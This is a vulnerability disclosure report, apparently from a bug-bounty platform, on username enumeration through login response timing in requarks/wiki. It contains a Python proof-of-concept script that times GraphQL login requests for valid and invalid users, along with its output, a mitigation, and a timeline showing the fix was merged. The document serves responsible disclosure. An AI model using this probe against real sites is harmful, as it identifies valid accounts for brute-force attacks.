User Enumeration via Response Timing in requarks/wiki

Valid

Reported on

Sep 11th 2022


Description

There is a significant timing difference in the login functionality for valid and invalid usernames.

Proof of Concept

Steps to reproduce:

1. Attempt a Login with a valid user and an invalid user and observe the difference in the response time

Here is a small test script (alternatively we can see the response time in Burp Repeater)

import requests

url = "http://127.0.0.1:8000/graphql"

valid_user = [{"operationName":None,"variables":{"username":"admin@test.com","password":"abcd","strategy":"local"},"extensions":{},"query":"mutation ($username: String!, $password: String!, $strategy: String!) {\n  authentication {\n    login(username: $username, password: $password, strategy: $strategy) {\n      responseResult {\n        succeeded\n        errorCode\n        slug\n        message\n        __typename\n      }\n      jwt\n      mustChangePwd\n      mustProvideTFA\n      mustSetupTFA\n      continuationToken\n      redirect\n      tfaQRImage\n      __typename\n    }\n    __typename\n  }\n}\n"}]

invalid_user = [{"operationName":None,"variables":{"username":"doesnotexist@test.com","password":"abcd","strategy":"local"},"extensions":{},"query":"mutation ($username: String!, $password: String!, $strategy: String!) {\n  authentication {\n    login(username: $username, password: $password, strategy: $strategy) {\n      responseResult {\n        succeeded\n        errorCode\n        slug\n        message\n        __typename\n      }\n      jwt\n      mustChangePwd\n      mustProvideTFA\n      mustSetupTFA\n      continuationToken\n      redirect\n      tfaQRImage\n      __typename\n    }\n    __typename\n  }\n}\n"}]

for _ in range(3):
    r = requests.post(url, json=valid_user, allow_redirects=False)
    print(r.elapsed.total_seconds())

print('---')

for _ in range(3):
    r = requests.post(url, json=invalid_user, allow_redirects=False)
    print(r.elapsed.total_seconds())

Test results:

$python3 timing.py 
0.276643
0.254176
0.251778
---
0.005052
0.004219
0.005233

We can see that there is a difference in response time of about 200ms. To account for inconsistencies in network traffic, the timing can be averaged over more than three requests to detect valid users reliably

Mitigation

This issue exists because a computationally expensive hash function is only executed when the username is valid. If the username is invalid, the hash function is not executed, resulting in the difference in response timing. In order to mitigate this, the hash function should be executed with a dummy input when the username does not exist.

Impact

An attacker is able to identify valid usernames. This could allow for further attacks such as brute force attacks on valid accounts.

We are processing your report and will contact the requarks/wiki team within 24 hours. 12 days ago
We have contacted a member of the requarks/wiki team and are waiting to hear back 11 days ago
We have sent a follow up to the requarks/wiki team. We will try again in 7 days. 8 days ago
Nicolas Giard validated this vulnerability 5 days ago
vautia has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Nicolas Giard confirmed that a fix has been merged on 4b3005 5 days ago
The fix bounty has been dropped
to join this conversation